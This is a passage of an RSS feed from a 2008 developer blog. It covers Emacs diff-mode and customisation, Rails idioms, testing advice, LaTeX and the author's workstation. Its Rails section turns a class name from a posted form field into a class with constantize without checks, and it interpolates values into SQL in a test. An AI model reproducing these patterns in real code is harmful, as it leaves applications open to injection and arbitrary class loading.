tedious diffs and patches?  Fear not, diff-mode to the rescue!&lt;/p&gt;&lt;p&gt;It's a pretty common use case to pick specific change in one branch of
subversion and apply it to a stable branch.  The way I work through
this is to:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;svn diff BRANCH_OLD BRANCH_CHANGES &amp;gt; changes.diff
emacs changes.diff
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Immediately, you'll notice a much friendlier, more colorful diff.  You
can jump from hunk to hunk with 'n' and 'p'.  If you RET on a hunk,
then it'll jump to the source file to give you more context.  To apply
or undo a hunk, simply 'C-c C-a'.  Emacs will prompt you if it's an
undo.&lt;/p&gt;&lt;p&gt;If you don't have a diff on hand, you can specify which two files to
diff and use ediff-mode.  Simply open an emacs, M-x ediff-mode, and
specify the two files to diff.  It'll put them in two buffers A, and
B.  Press '?' to bring a menu of keys.  The main ones are n, p, a, b,
wa, wb.&lt;/p&gt;&lt;h2&gt;Macros&lt;/h2&gt;&lt;p&gt;The most basic usage is to do 'C-x (' to start recording a macro; do
what you need to do; and 'C-x )' to end the macro.  'C-x e' executes a
macro, and you can 'M-x apply-macro-to-region-lines'.  I still need to
learn to use these better ;)&lt;/p&gt;&lt;h2&gt;Managing Buffers&lt;/h2&gt;&lt;p&gt;To split the window, use 'C-x 2', and 'C-x 3'.  They split the window
horizontally and vertically respectively.  To switch buffers, 'C-x
b'.  You can tab complete the file names here.  To see a list of
buffers, 'C-x C-b'.  Switching to a directory will put you in
dired-mode.  More on that later.&lt;/p&gt;&lt;h2&gt;Cut Copy and Paste&lt;/h2&gt;&lt;p&gt;Beyond the basics of cut, copy and paste, I also like 'C-x r d' which
deletes a selected block region, and 'C-x r t', which inserts a
selected block region.&lt;/p&gt;&lt;h2&gt;Running Shell Commands&lt;/h2&gt;&lt;p&gt;The easiest case is when you just want to quickly see the output of a
command without switching to another terminal.  Simply do 'M-!' and
type your command, and the output will show in the minibuffer.
Another clever one that I don't use as much is 'M-|', which runs
shell-command-on-region.  The best part is that if you wanted the
output of the shell command in the buffer you're visiting, just M-! or
M-| with M-5, or any other number.  I use this one all the time when I
have to type a shebang line and I'm not sure where the binary is
located:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#! M-5 M-! which python
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Debugging&lt;/h2&gt;&lt;p&gt;I don't use gdb and other debuggers enough to have all this in my
muscle memory yet, but Emacs is a dream when it comes to debugging C.
'M-x gdb' starts gdb in a separate buffer.  Then you can specify
breakpoints in any source buffer by doing 'C-space'.  Other useful
commands basic commands include:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;C-c n - next
C-c s - step
C-c f - run to end of frame
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I haven't used the other debuggers, but I know there's they're
available for other languages.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/JjoSDU5V3fo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 22 Apr 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/JjoSDU5V3fo/emacs-tips</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/04/22/emacs-tips</feedburner:origLink></item>
    <item>
      <title>Rails Tips</title>
      <description>&lt;p&gt;I have started, abandoned, and restarted many pet rails projects.  All
hype aside, I've collected a fair amount of rails idioms.  Whenever I
come across a problem I know I've dealt with in the past, I usually
run a few greps through my past projects to look for an answer.  The
following pages are disorganized tips of things I have done that are
useful.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;if an ActiveRecord::Base object 'foo' doesn't agree with what's in
the database, simply do foo.reload.  To make changes in the instance
go to the database, do foo.save.  For many of the Base methods, you
can append a ! to the end of the method name and it'll raise an
exception instead of returning false on failure.  For example, save
vs save!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you can't find a method or variable in a class, check the parent
class (Class ChildClass &amp;lt; ParentClass), or look for 'include
ModuleName', where ModuleName can exist in the lib/ or
vendor/plugins directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://glu.ttono.us/articles/2006/05/22/configuring-rails-environments-the-cheat-sheet"&gt;Rails config
variables&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;also good for setting vars for actionpack components&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;config.observer... - registers a callback for when something happens
to a model.  Can be done with before_save, but can also be done
externally and shared between models.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ActiveRecord::Base.logger = Logger.new(STDOUT) - to just have SQL
statements print to stdout.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Testing&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://nubyonrails.com/articles/2006/04/19/autotest-rails"&gt;autotest&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This gem watches for filesystem changes and only runs tests that
have been updated.  It's fast and it colorizes results.  I use it in
conjunction with RSpec, and rspec-rails.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rails_rcov - wrapper that gives you rake tasks to
&lt;a href="http://eigenclass.org/hiki.rb?rcov"&gt;rcov&lt;/a&gt;. To show test code
coverage.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://cruisecontrolrb.thoughtworks.com/"&gt;CruiseControl&lt;/a&gt; -
continuous integration tool that reports build and test errors.  The
link is specific to ruby projects.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;RSpec&lt;/h3&gt;&lt;p&gt;RSpec is an implementation of Behavior Driven Design (BDD).  It's a
declarative form of design and test.  When I first learned testing, I
learned it as imperatively setting up state, doing some actions, and
then verifing the end state.  The big problems I had with testing was
always getting tangled up in complex dependencies between different
components.  This made it really hard to focus on the system being
tested.  I'm looking more into using mocks and stubs to replace
fixtures and real models when it makes sense to.  BDD helps with this
because it focuses on beahavior and specification rather than
implementation.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://rspec.info/"&gt;RSpec&lt;/a&gt; - the library itself&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;gem install rspec, rspec-rails, diff-lcs, ZenTest&lt;/li&gt;
&lt;li&gt;script/generate spec&lt;/li&gt;
&lt;li&gt;rake -T | grep spec&lt;/li&gt;
&lt;li&gt;should, should_not are
&lt;a href="http://rspec.info/rdoc/classes/Spec/Expectations.html"&gt;Spec::Expectations&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://kpumuk.info/rspec/useful-helpers-for-rspec-mocks/"&gt;mock_model&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;good for mocking up ActiveRecord objects&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Plugins and Gems&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://www.pathf.com/blogs/2008/07/visualizing-your-database-schema-entirely-in-rails/"&gt;schema-browser&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://agilewebdevelopment.com/plugins/restful_authentication"&gt;restful_authentication&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;straightforward plugin that requires just a little bit of tweaking
and config.  Works great if your user model acts_as_state_machine.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://code.google.com/p/rolerequirement/"&gt;role_requirement&lt;/a&gt; -
plays well with restful_authentication.  I haven't tried this one
before.  I did use &lt;a href="http://active-rbac.rubyforge.org/"&gt;Active RBAC&lt;/a&gt;
with positive results before.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;acts_as_state_machine - amazing mixin that can make your
models act like a state machine.  It allows you to register
callbacks for when a model's state changes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SyslogLogger - logger that goes to syslog.  Not a fan of this one,
but I've seen it in use.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://labs.reevoo.com/plugins/simple-config"&gt;SimpleConfig&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;haven't used it, but will work.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Gem Dependencies&lt;/h3&gt;&lt;p&gt;I like to have my projects be self-contained.  This means that when
  you check out one of my projects, you should be able to setup your
  database, do a rake or two, and be on your way.&lt;/p&gt;&lt;p&gt;There are several fixes to this problem.  The cleanest one that I've
  choosen is to update to Edge Rails with:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;rake rails:freeze:edge
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;then follow &lt;a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies"&gt;Ryan's Scraps Gem
  Dependencies&lt;/a&gt;
  article.&lt;/p&gt;&lt;p&gt;Unfortunately, upgrading to Edge Rails might not be feasible.  In
  this case, one solution is to mimic what Edge Rails does:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;mkdir RAILS_ROOT/vendor/gems
gem install FOO --install-dir RAILS_ROOT/vendor/gems
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To make your rails app recognize the installed gems, update your
  environment.rb to look in the newly created subdirectory with
  config.load_paths.&lt;/p&gt;&lt;p&gt;Another interesting plugin that I haven't looked into is
  &lt;a href="http://www.rubyinside.com/advent2006/12-piston.html"&gt;piston&lt;/a&gt; which
  gives you all the advantages of svn:externals, but also allows you
  to commit local changes to your own repo.&lt;/p&gt;&lt;h2&gt;Escaping HTML&lt;/h2&gt;&lt;p&gt;See
&lt;a href="http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/classes/ERB/Util.html"&gt;ERB::Util&lt;/a&gt;
for the following:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;html_escape&lt;/li&gt;
&lt;li&gt;url_encode&lt;/li&gt;
&lt;li&gt;url_decode&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Remember that if you wanted to use these in your controller, you have
to require and include it.  I recommend against using the shorthand
versions because it sucks for readability.&lt;/p&gt;&lt;h2&gt;Metaprogramming&lt;/h2&gt;&lt;p&gt;When I was trying to create a RESTful TagsController with the
&lt;a href="http://agilewebdevelopment.com/plugins/acts_as_taggable_on_steroids"&gt;acts_as_taggable&lt;/a&gt;
plugin, I created a form that looked like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;lt;input id="tag" type="text" size="17" name="tag"/&amp;gt;
&amp;lt;input id="taggable[id]" type="hidden" value="14" name="taggable[id]"/&amp;gt;
&amp;lt;input id="taggable[type]" type="hidden" value="Place" name="taggable[type]"/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When this form was posted, I would get a string for the class of the
object that I wanted to tag in taggable[type].  In normal Ruby, you
can call
&lt;a href="http://www.ruby-doc.org/core/classes/Kernel.html"&gt;Kernel.const_get(classname)&lt;/a&gt;
to get the Class object for classname.  In Rails, this has been
simplified further to be just &lt;a href="http://infovore.org/archives/2006/08/02/getting-a-class-object-in-ruby-from-a-string-containing-that-classes-name/"&gt;classname.constantize&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Inheritance&lt;/h2&gt;&lt;p&gt;&lt;a href="http://m.onkey.org/"&gt;Namespaced Models&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Pet &amp;lt; ActiveRecord::Base
  self.abstract_class = true

  belongs_to :person
  validates_presence_of :name
end

class Dog &amp;lt; Pet
  def bark
    "baaw"
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Cool Syntax&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;assert_equal 1, Developer.connection.select_value(&amp;lt;&amp;lt;-end_sql).to_i
  SELECT count(*) FROM developers_projects
  WHERE project_id = #{project.id}
  AND developer_id = #{developer.id}
end_sql
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Miscellanous&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Hash.symbolize_keys! - turns all keys to symbols&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/f0vJgEqr930" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 12 Mar 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/f0vJgEqr930/rails-tips</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/03/12/rails-tips</feedburner:origLink></item>
    <item>
      <title>Premature Software Testing</title>
      <description>&lt;p&gt;I've fallen victim to it a few times now and would like to remind
myself of the causes and consequences.  Don't get me wrong, I love
testing and have attempted/done/failed at it ever since CS61B.  I've
used standardized test frameworks, hackish quickie frameworks from
school, and created my own small frameworks for specific projects.
Testing is a good thing.&lt;/p&gt;&lt;p&gt;But there is such a thing as testing too early.  My most recent mishap
happened during my internship.  I finished a tool that I thought did
what I want, and fully tested it.  Well, the plus side was that it was
perfectly tested against what it does, and worked beautifully for all
possible inputs.  The downside was that the code didn't do what it was
supposed to do!  I misunderstood my own requirements and coded
something wrong.  Then instead of having tests that could support me
as I refactored, I ended up with an extra set of barriers that kept me
constrained to wrong solutions.  In other words, I believed in my
tests and this slowed down my redesign towards a correct solution.&lt;/p&gt;&lt;p&gt;Another time this happened to me was during cs164 while I was writing
an Earley parser.  This one cut me deep because the solution just
happened to work against the cases I specified in my tests.  Then
about one week before the due date, I noticed that I misread the
original paper and implemented a system with different semantics.  All
the tests that exercised individual methods were scrapped.  In the
end, all tests were scrapped :(&lt;/p&gt;&lt;p&gt;I lost many hours on both those mistakes, but I have noticed different
cases when I'm more successful.  Here are some guidelines I think work
well:&lt;/p&gt;&lt;h2&gt;When to Start Testing&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;start testing when you start coding for real.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;start coding &lt;em&gt;for real&lt;/em&gt; after you've read and re-read your
spec enough times to recite it backwards.  Think of a design, think of
how use cases would fare against that design.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;if there are sections of the design that are ambiguous, or if you
aren't sure of what tools to use to implement something, explore with
quick dummy code and take notes.  Don't even bother putting the dummy
code in your repo, or actual directory... It'll only tempt you to keep
crappy code.  Throw the code away, but keep the notes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;with design doc, and notes from exploring in hand, try writing some
real code.  If you find yourself rewriting a ton of stuff repeatedly,
you didn't design/explore your problem space enough before starting.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;when exploring concepts and designs, it's a good idea to explore
what test strategies are appropriate.  I say appropriate because
there'll always be some gigantic mammoth of a testing framework with
more features than your project needs and a configuration and learning
curve to match.  Sometimes, the framework that's "just right" is one
that you glue together.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;How to Test&lt;/h2&gt;&lt;p&gt;There are plenty of good guides out there on 'what' to test, but I
think many of them provide examples that are too trivial and brittle
against refactoring.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;when testing data models, focus on getting consistent domains, and
lightweight models.  If it's hard to test, it might indicate a flaw
in your design.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;unit testing is fantastic, but double check that the methods you're
testing are actually relevant and useful.  A correct method doesn't
imply a useful one.  Also, instead of tying very strictly with method
names, it can be more readable and flexible to describe your test in
terms of the action or mutation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;don't strictly focus on unit testing.  Do the functional tests in
parallel to expose useless methods and flawed interactions early on.
The same applies for integration tests.  Also, the sooner you
communicate with modules written by other members of your team, the
better.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;We all knew that testing too late or not testing at all can cause
cancer, but there is such a thing as testing too early.  It wastes
your time, and may restrict you to a suboptimal or incorrect design.
Furthermore, testing isn't the same as designing.  No amount of random
testing will yield a solid design.  Rather, an elegant design will
naturally encourage you to think about tests, and those tests can then
verify your implementation.  Testing is like eating your vegetables:
it's good for your health in the long run, but eating too much or the
wrong kind will give you the runs.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/gt8VcXLRiHk" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Mon, 10 Mar 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/gt8VcXLRiHk/premature-software-testing</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/03/10/premature-software-testing</feedburner:origLink></item>
    <item>
      <title>Customizing Emacs</title>
      <description>&lt;p&gt;My editor of choice is eight megs and constantly swapping.  I didn't
meticulously choose my editor, but rather had one forced upon me
freshman year in CS61A.  Being young and impressionable at the time, I
saw no downsides to the editor and kept using it more and more day
after day.  First it was coding, then notes, then email.  Now four
years later, I'm basically married to my editor, for better or for
worse.  For a complete reference of my .emacs file, see &lt;a href="https://github.com/jch/dotfiles"&gt;this
link&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Movement&lt;/h2&gt;&lt;p&gt;One of the most important features of an editor for a developer is
ease to move point, emacs terminology for cursor, within a file and
between files.  I'm glad I took that hour in 61A lab to go through the
emacs tutorial (M-x tutorial) and learn the basics of movement.  In
terms of customization, the only option I changed is mapping M-g  to
'goto-line'.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(global-set-key "\M-g" 'goto-line)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two feature I still tend to neglect to use are 'bookmarks' and 'tags'.
Bookmarks allow you to save a specific location in a specific buffer,
but the keybinding to set a bookmark is &lt;em&gt;hrm&lt;/em&gt;, rather cumbersome.
Tags are this magical feature that I've had mixed results with.  It
allows you to index and quickly jump to interesting places like
function and class definitions.  Unfortunately, sometimes it also
likes to index &lt;em&gt;uninteresting&lt;/em&gt; places and jumps you to those.&lt;/p&gt;&lt;h2&gt;Text Manipulation&lt;/h2&gt;&lt;p&gt;Ever wanted to leverage the power of unix on some region of text?
Trying using M-! (shell command), or M-| (shell command on region).
As if that's not enough, if you prefix either of them with M-[k] for
some number k, then the output of the command gets inserted at point.
This is great for sorting (sort -n) on a bunch of imports or includes,
and also for inserting useful snippets of text (which perl, date)&lt;/p&gt;&lt;p&gt;Another amazing feature is rectangular editing:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;C-x r t
C-x r d
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These two commands mean insert and delete respectively.  The two
complementary use cases are to select the beginning of several lines
and use 't' to insert a comment character and then use 'd' to delete
them when you're done.  Sure you could use &lt;code&gt;M-x comment-region&lt;/code&gt;, but
sometimes that doesn't act quite right, and these two are better
built-in to my muscle memory.&lt;/p&gt;&lt;p&gt;Another super lazy trick is &lt;code&gt;M-/&lt;/code&gt;.  This tries to complete the current
word you're typing with words that are in other buffers.  If it's not
the right one, just &lt;code&gt;M-/&lt;/code&gt; to cycle to the next one.&lt;/p&gt;&lt;h2&gt;Look and Feel&lt;/h2&gt;&lt;p&gt;Let's face it, to become a true hacker, you have to adopt some obscure
interface that's so catered to you that it'll wow and gag everyone
else who dares try to use it.  Such is the case of my own settings.  I
didn't do too much to it, but even little things can make a big
difference.&lt;/p&gt;&lt;p&gt;My favorite quick thing is to change the text to be white on black:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(set-background-color "black")
(set-foreground-color "white")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, I like syntax highlighting so I turn on the extremely poorly
named:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(global-font-lock-mode t)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then, I turn off a few things that I know I won't use:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;(setq inhibit-startup-message t) ; I'm using emacs, duh
(menu-bar-mode -1) ; menus can still be seen with M-`
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Broken Things&lt;/h2&gt;&lt;p&gt;Even though emacs can be all things to all people, there have been a
few annoyances I can't figure out.  My worst beef is how backspace has
different behavior wherever I go.  I understand that it's most likely
because of the different shells and environments I'm using, but it's
too bad emacs can't just magically figure it out for me.  Right now I
have a line in my .emacs:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;; fix annoying shell backspace problem
; 0 for ibook, 1 for imac
(normal-erase-is-backspace-mode 1)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note how I have to edit that value by hand or otherwise be doomed to
forward-delete instead of backwards.&lt;/p&gt;&lt;h2&gt;Modularizing .emacs&lt;/h2&gt;&lt;p&gt;.emacs is the config file that lives in your homedir and is loaded
when Emacs starts.  I'll be honest and admit that my .emacs is pretty
messy at the moment and needs a serious &lt;em&gt;refactor&lt;/em&gt;.  I'm both
delighted and exasperated that my config needs to be &lt;em&gt;programmed&lt;/em&gt;.  I
read &lt;a href="http://a-nickels-worth.blogspot.com/2007/11/effective-emacs.html"&gt;this
post&lt;/a&gt;
talking about some emacs tips, and I'm interested in learning more
about autoload and optimizing some of the calls.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/Vd8bhFznA2M" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 14 Feb 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/Vd8bhFznA2M/customizing-emacs</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/02/14/customizing-emacs</feedburner:origLink></item>
    <item>
      <title>Common Latex Usage</title>
      <description>&lt;p&gt;Since high school, I've used word processors less and less.  I hate
how slow they load, I hate how annoying and proprietary the formats
are, I hate how ugly they end up printing and how hard it is to
customize my documents.  Enter Latex.&lt;/p&gt;&lt;h2&gt;Overview&lt;/h2&gt;&lt;p&gt;Wikipedia defines &lt;a href="http://en.wikipedia.org/wiki/LaTeX"&gt;Latex&lt;/a&gt; to be:&lt;/p&gt;&lt;blockquote&gt;
&lt;p&gt;LaTeX is a document markup language and document
preparation system for the TeX typesetting program.&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;In practice, I like to think of it as a document processor plugin for
the editor of your choice.  Instead of only being able to edit essays,
you can edit any type of document you like, be it a math formula
cheatsheet, or a full page banner.&lt;/p&gt;&lt;p&gt;My history with Latex has been far from ideal, but I've come to terms
with the downsides enough that I can use it exclusively.  Here are the
pros and cons as far as I see it:&lt;/p&gt;&lt;h3&gt;Cons&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Learning a new language - Instead of using menus to apply formatting
and styles to sections of a document, Latex uses tags to &lt;em&gt;describe&lt;/em&gt;
the semantics of the sections of document.  This requires the user
to learn a set of tags and environments.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anti-visual - Latex's about as far from WYSIWYG as possible.  In
fact, you can't even preview your document as your typing it.  Sure
you can install an emacs mode for preview, and you could have 'xdvi'
running to keep a continuous preview of your document, but the fact
you have to 'compile' the document means an unavoidable wait.  If
you're a person who can't work without a live preview, don't even
bother with Latex.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anti-portable, Anti-collaboration - If your friends don't use Latex,
hell, I'd be surprised if they've even heard of it, then you can
only give them the unmodifiable output PDF.  They can't directly
edit your draft as they would in Word and send it back to you.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Focus on layout rather than semantics - Latex is the opposite of
HTML in that you have to control every bit of formatting yourself.
It really clutters up the document and isn't nearly as easy to
maintain if the document is updated often.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Pros&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Super-portable (output) - everyone worth talking to will be able to
open PDFs.  You also be print-perfect output, everytime.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anti-bloat - choose your editor, compile when you feel like it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Semantic documents - the ability to restyle your document, but with
more control than CSS offers.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Common Commands&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;\documentclass{article}&lt;/li&gt;
&lt;li&gt;\usepackage{fullpage, amsmath}&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/pCBH7ZWy0pM" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 14 Feb 2008 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/pCBH7ZWy0pM/common-latex-usage</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2008/02/14/common-latex-usage</feedburner:origLink></item>
    <item>
      <title>My Computing Environment</title>
      <description>&lt;p&gt;It happens to all developers.  You're stuck in a place where you need
to get dev work done, but you have to use a computer that isn't
meticuously tweaked to all your obscure settings.  You try using your
editor of choice, only to find all your custom keybindings broken and
the backspace not working.  The chair you sit on is too hard.  The
screen is too small, too flickery.  Everything just &lt;em&gt;feels&lt;/em&gt; wrong.&lt;/p&gt;&lt;p&gt;I hate other peoples' computers.  I hate everything about working on
another person's computer.  I hate how it doesn't act exactly like my
computer.  I hate how nothing is where I expect it to be.  I hate not
having M-g mapped to goto-line in emacs almost as much as I hate not
having emacs on a machine!&lt;/p&gt;&lt;p&gt;I've switched through a lot of different ways of doing things.  The
good bits stick, the less useful stuff gets forgotten.  I definitely
don't think I have my ideal environment set up, but there's definitely
slow incremental progress.&lt;/p&gt;&lt;h2&gt;Painware&lt;/h2&gt;&lt;p&gt;Let's start with the simple stuff.  Long development times require a
comfortable setup.  For me, this includes a dual display setup, an
Microsoft ergo-keyboard, and a comfortable chair.  You'd think this
would be common sense, but I only got this setup after extremely sore
forearms and a messed up back during my compilers project.
Specifically, I use the &lt;a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&amp;amp;location=http%3A%2F%2Fwww.amazon.com%2FMicrosoft-Natural-Ergo-Keyboard-4000%2Fdp%2FB000A6PPOK&amp;amp;tag=what0d-20&amp;amp;linkCode=ur2&amp;amp;camp=1789&amp;amp;creative=9325"&gt;Microsoft
Natural Ergo 4000&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=what0d-20&amp;amp;l=ur2&amp;amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important;
margin:0px !important;"&gt;, and a beefy
mesh backed chair with lumbar support I got from Costco.&lt;/p&gt;&lt;h2&gt;Hardware&lt;/h2&gt;&lt;p&gt;The two computers I use everyday are a 12" iBook G4, and a 24"
Alumninum iMac.   My requirements for computer hardware isn't about
raw number-crunching power.  Instead, I'd much rather have a computer
that's &lt;em&gt;fast enough&lt;/em&gt; and doesn't harress me.  Noise is the big one for
me.  I loved my last desktop cause it had just the right amount of
cooling with so little noise that I could sleep a meter away from it
and not hear it being on.&lt;/p&gt;&lt;p&gt;If I could redo this setup, I would consolidate the two machines into
a single Macbook Pro because it's a pain in the ass to have the same
environment across multiple machines.&lt;/p&gt;&lt;h2&gt;Operating System&lt;/h2&gt;&lt;p&gt;I like OS X for it's unix internals and consistent UI and usage
patterns.  I can't use Windows because their shell isn't usable
enough.  I still like Linux for dev work, but I don't like it non-dev
related activities: e.g. web surfing, chat, organization.&lt;/p&gt;&lt;h2&gt;Tools&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.gnu.org/software/screen/"&gt;GNU screen&lt;/a&gt; - console window manager&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.faqs.org/docs/abs/HTML/sedawk.html"&gt;sed and awk&lt;/a&gt; - this
one hasn't stuck yet.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://petdance.com/ack/"&gt;ack&lt;/a&gt; - After I learn to use ctags better,
this might not be necessary.&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://git-scm.com/"&gt;git&lt;/a&gt; and &lt;a href="https://github.com/"&gt;Github&lt;/a&gt;, with
&lt;a href="http://gitx.frim.nl/"&gt;GitX&lt;/a&gt; desktop client.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;End Bits&lt;/h2&gt;&lt;p&gt;As you can see, it doesn't sound like I use that many differet tools.
Just like my software, I like to keep my dev environment simple and
really focus on a core set of functionality.  When it comes down to
it, all I need is &lt;a href="/articles/2008/02/14/customizing-emacs"&gt;something&lt;/a&gt; to &lt;a href="/articles/2008/04/22/emacs-tips"&gt;write
in&lt;/a&gt;, a browser to look up stuff, and a shell to
glue everything together.  More and more, I find myself looking for
hosted solutions to local tools because it's just easier to maintain
and more accessible.&lt;/p&gt;&lt;h2&gt;External Resources&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="http://www.silentpcreview.com/"&gt;Silent PC Review&lt;/a&gt; - is a fantastic
site by Mike Chin with extensive tests about computer component
noise and whole systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
